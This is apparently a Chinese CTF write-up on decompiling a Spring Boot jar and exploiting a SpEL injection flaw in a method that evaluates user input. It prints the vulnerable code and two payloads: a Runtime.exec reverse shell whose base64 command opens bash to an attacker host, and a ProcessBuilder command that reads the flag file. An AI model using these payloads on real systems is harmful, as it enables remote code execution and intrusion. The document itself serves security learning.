可以使用IDEA加载
创建一件lib目录,然后把jar放进去,右键【添加为库】

点击确定

即可看到代码

也可以使用jd

基础知识
BOOT-INF:存放的是自己的项目代码和所有第三方依赖jar
BOOT-INF/classes:你写的代码编译后的class文件,yml/properties配置、静态资源、模板文件
BOOT-INF/lib:第三方依赖jar包
org.springframework.boot.loader:SpringBoot自定义类加载器
META-INF:jar自带的元信息目录,最重要的文件是MANIFEST.MF清单文件
SpringBoot 打包后的MANIFEST.MF里面会写两行关键配置:
Main-Class: org.springframework.boot.loader.JarLauncher Start-Class: com.xxx.你的项目主启动类
- Main‑Class:告诉 JVM,java‑jar启动时入口是JarLauncher(loader 里面的类),不是你的 main。
- Start‑Class:记录你自己写的 SpringBoot 主类,JarLauncher读到这个值,再反射调用你的 main 方法。
Jar包的启动流程:
- 执行java -jar demo.jar,JVM 读取META‑INF/MANIFEST.MF,找到Main‑Class=JarLauncher
- JVM 运行org.springframework.boot.loader.JarLauncher
- JarLauncher 创建自定义类加载器,扫描加载BOOT‑INF/lib下所有嵌套 jar、BOOT‑INF/classes你的代码
- 读取Start‑Class,反射执行你项目的 main 函数,SpringBoot 应用正式跑起来。
SPEL注入漏洞
SpelExpressionParser函数
通过阅读代码可以看到spelVul函数接收一个ex参数
同时还实例化了一个SpelExpressionParser函数,并且对ex参数进行解析执行
那么我们就可以通过ex来进行任意命令执行

public String spelVul(String ex) {
// 创建SpEL表达式解析器对象
ExpressionParser parser = new SpelExpressionParser();
// 创建SpEL的运行求值上下文环境
EvaluationContext evaluationContext = new StandardEvaluationContext();
// 解析传入的字符串ex为SpEL表达式,在上下文执行,获取返回对象,转字符串
String result = parser.parseExpression(ex).getValue(evaluationContext).toString();
// 打印执行结果
System.out.println(result);
return result;
}
我们进行测试下,发现可以成功执行我们输入的表达式

下面是攻击的payload,由于靶机不出网,所以我们直接读取flag即可
# 反弹shell
T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zMzc0xMDcuMTEzLjIjJiE1MC85MDAyIIDA+JjE=}|{base64,-d}|{bash,-i}")
# 读取flag
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /app/flag*"}).start().getInputStream(), "gbk")).readLine()
这里注意要用Max hackbar这个插件发送才行,也不知道为啥,试了burp抓包和hackbar都是会400
Max hackbar: https://github.com/mr-bipolar/hackbar
浏览器用的FireFox Developer
